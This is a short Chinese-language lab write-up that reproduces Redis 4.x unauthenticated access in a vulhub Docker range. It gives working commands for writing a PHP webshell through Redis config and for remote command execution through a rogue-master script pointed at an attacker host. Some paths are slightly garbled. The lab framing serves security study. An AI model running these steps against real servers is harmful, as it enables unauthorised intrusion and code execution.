一、靶场搭建
root@gpt:~/vulhub/vulhub/redis/4-unacc# docker-compose up -d
二、漏洞复现4-unacc
先使用nmap对靶机进行端口扫描
PORT STATE SERVICE
6379/tcp open redis
存在redis服务,端口是6379
redis-cli -h 目标主机 -a [redis 密码]
进入主机后先使用( 解决 Redis 从服务器(slave ) 读写 权限的方法):
config set slave-read-only no
save
不修改可能会出现写不进文件
redis常用命令config get dir //当前默认保存目录
config set dir [目录名] //修改默认目录
config set dbfilename [文件名] //生成要写入的文件
set webshell "\r\n\r\n<?php phpinfo();?>\r\n\r\n" //写入shell
save //保存
漏洞的三种利用方式
1.上传webshell
由于靶场没有web所以直接写到别的目录下
config set dir /tmpconfig
set dbfilename flag.php
set webshell "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
save
返回OK说明写入成功,然后上docker容器里看看是不是写入成功了
2.命令执行
先下载脚本
git clone https://[github](https://so.csdn.net/so/search?q=github&spm=1001.2101.3001.7020).com/n0b0dyCN/redis-rogue-server
//拉取脚本
cd /redis-rogue-getshell/RedisModulesSDK/exp
make //编译完之后会获得一个exp.so文件,然后退回redis-rogue-getshell目录
python3 ./redis-master.py -r [目标主机] -p 6379 -L [攻击机] -P 8989 -f RedisModulesSDK/exp/exp.so -c "[执行的命令]"
3.ssh公钥
先获得redis的root权限否则没办法完成